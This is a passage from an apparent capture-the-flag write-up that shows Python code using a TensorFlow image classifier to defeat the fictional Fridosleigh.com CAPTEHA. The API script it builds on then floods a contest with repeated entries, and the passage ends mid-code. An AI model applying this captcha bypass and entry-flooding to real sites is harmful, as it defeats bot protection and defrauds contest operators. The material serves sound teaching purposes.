<p>Well, if we look back to the hint Alabaster gave us, we learn about some <a href="https://youtu.be/jmVPLwjm_zs">Machine Learning Use Cases for Cyber Security</a>. In this video, Chris Davis explains how we can use machine learning for image recognition, and there is also a hint on beating captcha using this.</p>
<p>Thankfully, Chris provides us a link to his <a href="https://github.com/chrisjd20/img_rec_tf_ml_demo">Image Recognition Using TensorFlow Machine Learning Demo</a> GitHub repository.</p>
<p>In this repository we have information on <a href="https://www.tensorflow.org/">TensorFlow</a> and also have installation instructions on how to set up and train a machine learning model to recognize apples from bananas - which he demonstrated in his video.</p>
<p>Using the instructions in the GitHub repository, let’s clone the repository and install everything that we need.</p>
<p>Once that’s installed, let’s start by looking at the <code class="language-plaintext highlighter-rouge">capthea_api.py</code> file that was provided to us by Krampus.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
</span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">yourREALemailAddress</span> <span class="o">=</span> <span class="s">"YourRealEmail@SomeRealEmailDomain.RealTLD"</span>
<span class="c1"># Creating a session to handle cookies
</span> <span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://fridosleigh.com/"</span>
<span class="n">json_resp</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"{}api/capteha/request"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">)).</span><span class="n">text</span><span class="p">)</span>
<span class="n">b64_images</span> <span class="o">=</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'images'</span><span class="p">]</span> <span class="c1"># A list of dictionaries eaching containing the keys 'base64' and 'uuid'
</span> <span class="n">challenge_image_type</span> <span class="o">=</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'select_type'</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)</span> <span class="c1"># The Image types the CAPTEHA Challenge is looking for.
</span> <span class="n">challenge_image_types</span> <span class="o">=</span> <span class="p">[</span><span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span> <span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span> <span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">' and '</span><span class="p">,</span><span class="s">''</span><span class="p">).</span><span class="n">strip</span><span class="p">()]</span> <span class="c1"># cleaning and formatting
</span>
<span class="s">'''
MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
'''</span>
<span class="c1"># This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
</span> <span class="n">final_answer</span> <span class="o">=</span> <span class="s">','</span><span class="p">.</span><span class="n">join</span><span class="p">(</span> <span class="p">[</span> <span class="n">img</span><span class="p">[</span><span class="s">'uuid'</span><span class="p">]</span> <span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">b64_images</span> <span class="p">]</span> <span class="p">)</span>
<span class="n">json_resp</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">"{}api/capteha/submit"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'answer'</span><span class="p">:</span><span class="n">final_answer</span><span class="p">}).</span><span class="n">text</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'request'</span><span class="p">]:</span>
<span class="c1"># If it fails just run again. ML might get one wrong occasionally
</span> <span class="k">print</span><span class="p">(</span><span class="s">'FAILED MACHINE LEARNING GUESS'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'--------------------</span><span class="se">\n</span><span class="s">Our ML Guess:</span><span class="se">\n</span><span class="s">--------------------</span><span class="se">\n</span><span class="s">{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">final_answer</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">'--------------------</span><span class="se">\n</span><span class="s">Server Response:</span><span class="se">\n</span><span class="s">--------------------</span><span class="se">\n</span><span class="s">{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">json_resp</span><span class="p">[</span><span class="s">'data'</span><span class="p">]))</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'CAPTEHA Solved!'</span><span class="p">)</span>
<span class="c1"># If we get to here, we are successful and can submit a bunch of entries till we win
</span> <span class="n">userinfo</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'name'</span><span class="p">:</span><span class="s">'Krampus Hollyfeld'</span><span class="p">,</span>
<span class="s">'email'</span><span class="p">:</span><span class="n">yourREALemailAddress</span><span class="p">,</span>
<span class="s">'age'</span><span class="p">:</span><span class="mi">180</span><span class="p">,</span>
<span class="s">'about'</span><span class="p">:</span><span class="s">"Cause they're so flippin yummy!"</span><span class="p">,</span>
<span class="s">'favorites'</span><span class="p">:</span><span class="s">'thickmints'</span>
<span class="p">}</span>
<span class="c1"># If we win the once-per minute drawing, it will tell us we were emailed.
</span> <span class="c1"># Should be no more than 200 times before we win. If more, somethings wrong.
</span> <span class="n">entry_response</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">entry_count</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">yourREALemailAddress</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">entry_response</span> <span class="ow">and</span> <span class="n">entry_count</span> <span class="o"><</span> <span class="mi">200</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Submitting lots of entries until we win the contest! Entry #{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">entry_count</span><span class="p">))</span>
<span class="n">entry_response</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">"{}api/entry"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="n">userinfo</span><span class="p">).</span><span class="n">text</span>
<span class="n">entry_count</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">print</span><span class="p">(</span><span class="n">entry_response</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>It seems that the code needed to submit all the data to the API has already been completed for us. All that we really need to do is to add the machine learning and image processing code for the CAPTHEA.</p>
<p>But first, we need to figure out how we can process all the image data that is stored in the <code class="language-plaintext highlighter-rouge">b64_images</code> dictionary.</p>
<p>If we look over the python code, we can see that the <code class="language-plaintext highlighter-rouge">b64_images</code> variable stores the base 64 image data of the image, along with an UUID (universally unique identifier) which will look like the following when we print the data to screen:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{u'base64': u'iVBORw0KGgoA...', u'uuid': u'b472b8dd-e584-11e9-97c1-309c23aaf0ac'}
</code></pre></div></div>
<p>So let’s attempt to take this data, and save it as an image file to disk. This way we can validate if we are actually getting images.</p>
<p>To do so, we will take the base64 image data by using <code class="language-plaintext highlighter-rouge">base64_images[0]["base64"])</code> and save that to a temporary file under its corresponding UUID by using <code class="language-plaintext highlighter-rouge">base64_images[0]["uuid"])</code>.</p>
<p>So, we can add the following code to the machine learning section of our script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="n">img_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_images</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="s">"base64"</span><span class="p">])</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/tmp/imgs/"</span><span class="o">+</span><span class="n">b64_images</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="s">"uuid"</span><span class="p">],</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
<span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">img_data</span><span class="p">)</span>
</code></pre></div></div>
<p>If we run that, we should see that our first image is saved successfully!</p>
<p align="center"><a href="/images/hh19-95.png"><img src="/images/hh19-95.png" /></a></p>
<p>Now we can add code that will add the full dictionary of images by enumerating all the data and writing all of the images to the folder.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">b64_images</span><span class="p">):</span>
<span class="n">img_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"base64"</span><span class="p">])</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/tmp/imgs/"</span><span class="o">+</span><span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"uuid"</span><span class="p">],</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
<span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">img_data</span><span class="p">)</span>
</code></pre></div></div>
<p>If we run that, we should see that all of our images are saved successfully!</p>
<p align="center"><a href="/images/hh19-96.png"><img src="/images/hh19-96.png" /></a></p>
<p>Cool, but the issue we have here is that we only have 5 seconds to do this, so we need to process the data on the fly instead of saving data to disk.</p>
<p>Okay, well before we do that, we need to figure out how the image prediction algorithm is reading the image file. So, let’s open the <code class="language-plaintext highlighter-rouge">predict_images_using_trained_model.py</code> file and see what it does.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
# Image Recognition Using Tensorflow Exmaple.
# Code based on example at:
# https://raw.githubusercontent.com/tensorflow/tensorflow/master/tensorflow/examples/label_image/label_image.py
</span><span class="kn">import</span> <span class="nn">os</span>
<span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'TF_CPP_MIN_LOG_LEVEL'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'3'</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="n">tf</span>
<span class="n">tf</span><span class="p">.</span><span class="n">logging</span><span class="p">.</span><span class="n">set_verbosity</span><span class="p">(</span><span class="n">tf</span><span class="p">.</span><span class="n">logging</span><span class="p">.</span><span class="n">ERROR</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">queue</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="c1"># sudo apt install python3-pip
# sudo python3 -m pip install --upgrade pip
# sudo python3 -m pip install --upgrade setuptools
# sudo python3 -m pip install --upgrade tensorflow==1.15
</span>
<span class="k">def</span> <span class="nf">load_labels</span><span class="p">(</span><span class="n">label_file</span><span class="p">):</span>
<span class="n">label</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">proto_as_ascii_lines</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">gfile</span><span class="p">.</span><span class="n">GFile</span><span class="p">(</span><span class="n">label_file</span><span class="p">).</span><span class="n">readlines</span><span class="p">()</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">proto_as_ascii_lines</span><span class="p">:</span>
<span class="n">label</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">rstrip</span><span class="p">())</span>
<span class="k">return</span> <span class="n">label</span>
<span class="k">def</span> <span class="nf">predict_image</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">image_bytes</span><span class="p">,</span> <span class="n">img_full_path</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">):</span>
<span class="n">image</span> <span class="o">=</span> <span class="n">read_tensor_from_image_bytes</span><span class="p">(</span><span class="n">image_bytes</span><span class="p">)</span>
<span class="n">results</span> <span class="o">=</span> <span class="n">sess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">output_operation</span><span class="p">.</span><span class="n">outputs</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="p">{</span>
<span class="n">input_operation</span><span class="p">.</span><span class="n">outputs</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span> <span class="n">image</span>
<span class="p">})</span>
<span class="n">results</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">squeeze</span><span class="p">(</span><span class="n">results</span><span class="p">)</span>
<span class="n">prediction</span> <span class="o">=</span> <span class="n">results</span><span class="p">.</span><span class="n">argsort</span><span class="p">()[</span><span class="o">-</span><span class="mi">5</span><span class="p">:][::</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">q</span><span class="p">.</span><span class="n">put</span><span class="p">(</span> <span class="p">{</span><span class="s">'img_full_path'</span><span class="p">:</span><span class="n">img_full_path</span><span class="p">,</span> <span class="s">'prediction'</span><span class="p">:</span><span class="n">labels</span><span class="p">[</span><span class="n">prediction</span><span class="p">].</span><span class="n">title</span><span class="p">(),</span> <span class="s">'percent'</span><span class="p">:</span><span class="n">results</span><span class="p">[</span><span class="n">prediction</span><span class="p">]}</span> <span class="p">)</span>
<span class="k">def</span> <span class="nf">load_graph</span><span class="p">(</span><span class="n">model_file</span><span class="p">):</span>
<span class="n">graph</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">Graph</span><span class="p">()</span>
<span class="n">graph_def</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">GraphDef</span><span class="p">()</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">model_file</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">graph_def</span><span class="p">.</span><span class="n">ParseFromString</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">with</span> <span class="n">graph</span><span class="p">.</span><span class="n">as_default</span><span class="p">():</span>
<span class="n">tf</span><span class="p">.</span><span class="n">import_graph_def</span><span class="p">(</span><span class="n">graph_def</span><span class="p">)</span>
<span class="k">return</span> <span class="n">graph</span>
<span class="k">def</span> <span class="nf">read_tensor_from_image_bytes</span><span class="p">(</span><span class="n">imagebytes</span><span class="p">,</span> <span class="n">input_height</span><span class="o">=</span><span class="mi">299</span><span class="p">,</span> <span class="n">input_width</span><span class="o">=</span><span class="mi">299</span><span class="p">,</span> <span class="n">input_mean</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">input_std</span><span class="o">=</span><span class="mi">255</span><span class="p">):</span>
<span class="n">image_reader</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">image</span><span class="p">.</span><span class="n">decode_png</span><span class="p">(</span> <span class="n">imagebytes</span><span class="p">,</span> <span class="n">channels</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="s">"png_reader"</span><span class="p">)</span>
<span class="n">float_caster</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">cast</span><span class="p">(</span><span class="n">image_reader</span><span class="p">,</span> <span class="n">tf</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">dims_expander</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">expand_dims</span><span class="p">(</span><span class="n">float_caster</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">resized</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">image</span><span class="p">.</span><span class="n">resize_bilinear</span><span class="p">(</span><span class="n">dims_expander</span><span class="p">,</span> <span class="p">[</span><span class="n">input_height</span><span class="p">,</span> <span class="n">input_width</span><span class="p">])</span>
<span class="n">normalized</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">divide</span><span class="p">(</span><span class="n">tf</span><span class="p">.</span><span class="n">subtract</span><span class="p">(</span><span class="n">resized</span><span class="p">,</span> <span class="p">[</span><span class="n">input_mean</span><span class="p">]),</span> <span class="p">[</span><span class="n">input_std</span><span class="p">])</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">compat</span><span class="p">.</span><span class="n">v1</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">sess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">normalized</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
</span> <span class="n">graph</span> <span class="o">=</span> <span class="n">load_graph</span><span class="p">(</span><span class="s">'/tmp/retrain_tmp/output_graph.pb'</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">load_labels</span><span class="p">(</span><span class="s">"/tmp/retrain_tmp/output_labels.txt"</span><span class="p">)</span>
<span class="c1"># Load up our session
</span> <span class="n">input_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/Placeholder"</span><span class="p">)</span>
<span class="n">output_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/final_result"</span><span class="p">)</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">compat</span><span class="p">.</span><span class="n">v1</span><span class="p">.</span><span class="n">Session</span><span class="p">(</span><span class="n">graph</span><span class="o">=</span><span class="n">graph</span><span class="p">)</span>
<span class="c1"># Can use queues and threading to spead up the processing
</span> <span class="n">q</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">Queue</span><span class="p">()</span>
<span class="n">unknown_images_dir</span> <span class="o">=</span> <span class="s">'unknown_images'</span>
<span class="n">unknown_images</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">unknown_images_dir</span><span class="p">)</span>
<span class="c1">#Going to interate over each of our images.
</span> <span class="k">for</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">unknown_images</span><span class="p">:</span>
<span class="n">img_full_path</span> <span class="o">=</span> <span class="s">'{}/{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">unknown_images_dir</span><span class="p">,</span> <span class="n">image</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Processing Image {}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">img_full_path</span><span class="p">))</span>
<span class="c1"># We don't want to process too many images at once. 10 threads max
</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="nb">enumerate</span><span class="p">())</span> <span class="o">></span> <span class="mi">10</span><span class="p">:</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.0001</span><span class="p">)</span>
<span class="c1">#predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
</span> <span class="n">image_bytes</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">img_full_path</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">predict_image</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">image_bytes</span><span class="p">,</span> <span class="n">img_full_path</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">)).</span><span class="n">start</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Waiting For Threads to Finish...'</span><span class="p">)</span>
<span class="k">while</span> <span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">()</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">unknown_images</span><span class="p">):</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.001</span><span class="p">)</span>
<span class="c1">#getting a list of all threads returned results
</span> <span class="n">prediction_results</span> <span class="o">=</span> <span class="p">[</span><span class="n">q</span><span class="p">.</span><span class="n">get</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">())]</span>
<span class="c1">#do something with our results... Like print them to the screen.
</span> <span class="k">for</span> <span class="n">prediction</span> <span class="ow">in</span> <span class="n">prediction_results</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'TensorFlow Predicted {img_full_path} is a {prediction} with {percent:.2%} Accuracy'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>If we look toward the end of the main function, we see the following line:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">image_bytes</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">img_full_path</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
</code></pre></div></div>
<p>Simply what this does is it takes the image path to where the file is located, opens it, and reads all the byte data. So instead of just saving a file to disk, we can modify this code with the code we wrote previously and just pass base64 decoded data into the <code class="language-plaintext highlighter-rouge">image_bytes</code> variable.</p>
<p>So for this to happen, we will need to update the logic of the <code class="language-plaintext highlighter-rouge">predict_images_using_trained_model.py</code> script.</p>
<p>First thing we will do is remove lines 67, 68, and 74 from the main function, since we won’t be accessing an image directory.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">***</span> <span class="n">REMOVE</span> <span class="n">THESE</span> <span class="n">LINES</span> <span class="o">***</span>
<span class="n">unknown_images_dir</span> <span class="o">=</span> <span class="s">'unknown_images'</span>
<span class="n">unknown_images</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">unknown_images_dir</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Processing Image {}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">img_full_path</span><span class="p">))</span>
</code></pre></div></div>
<p>Next in the section where we will iterate over each of our images, we are going to rewrite that part with our previously written code, which will look like so.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#Going to iterate over each of our images.
</span><span class="k">print</span><span class="p">(</span><span class="s">'Processing Images...'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">b64_images</span><span class="p">):</span>
<span class="n">img_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"base64"</span><span class="p">])</span>
<span class="n">img_uuid</span> <span class="o">=</span> <span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"uuid"</span><span class="p">]</span>
</code></pre></div></div>
<p>Next, in lines 79-81 where the <code class="language-plaintext highlighter-rouge">predict_image</code> function is expecting png image bytes, we will rewrite that to pass our previous image data and UUID, instead of the file paths.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">predict_image</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">img_data</span><span class="p">,</span> <span class="n">img_uuid</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">)).</span><span class="n">start</span><span class="p">()</span>
</code></pre></div></div>
<p>Finally, in lines 90-92 where we do something with our results, we will rewrite that so that we can grab the predicted image type, and validate them against the <code class="language-plaintext highlighter-rouge">challenge_image_type</code> list which will hold the expected list of images for the CAPTHEA. If the predicted type matches that of the challenge type, we append the UUID to our <code class="language-plaintext highlighter-rouge">valid_types</code> list.</p>
<p>The code will look like so.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">valid_types</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">prediction</span> <span class="ow">in</span> <span class="n">prediction_results</span><span class="p">:</span>
<span class="n">prediction_img_type</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{prediction}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="n">prediction_uuid</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{img_full_path}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="k">if</span> <span class="n">prediction_img_type</span> <span class="ow">in</span> <span class="n">challenge_image_types</span><span class="p">:</span>
<span class="n">valid_types</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prediction_uuid</span><span class="p">)</span>
</code></pre></div></div>
<p>After all the modifications are done, the <code class="language-plaintext highlighter-rouge">predict_images_using_trained_model.py</code> main function should look like the one below:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
</span> <span class="n">graph</span> <span class="o">=</span> <span class="n">load_graph</span><span class="p">(</span><span class="s">'/tmp/retrain_tmp/output_graph.pb'</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">load_labels</span><span class="p">(</span><span class="s">"/tmp/retrain_tmp/output_labels.txt"</span><span class="p">)</span>
<span class="c1"># Load up our session
</span> <span class="n">input_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/Placeholder"</span><span class="p">)</span>
<span class="n">output_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/final_result"</span><span class="p">)</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">compat</span><span class="p">.</span><span class="n">v1</span><span class="p">.</span><span class="n">Session</span><span class="p">(</span><span class="n">graph</span><span class="o">=</span><span class="n">graph</span><span class="p">)</span>
<span class="c1"># Can use queues and threading to speed up the processing
</span> <span class="n">q</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">Queue</span><span class="p">()</span>
<span class="c1">#Going to iterate over each of our images.
</span> <span class="k">print</span><span class="p">(</span><span class="s">'Processing Images...'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">b64_images</span><span class="p">):</span>
<span class="n">img_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"base64"</span><span class="p">])</span>
<span class="n">img_uuid</span> <span class="o">=</span> <span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"uuid"</span><span class="p">]</span>
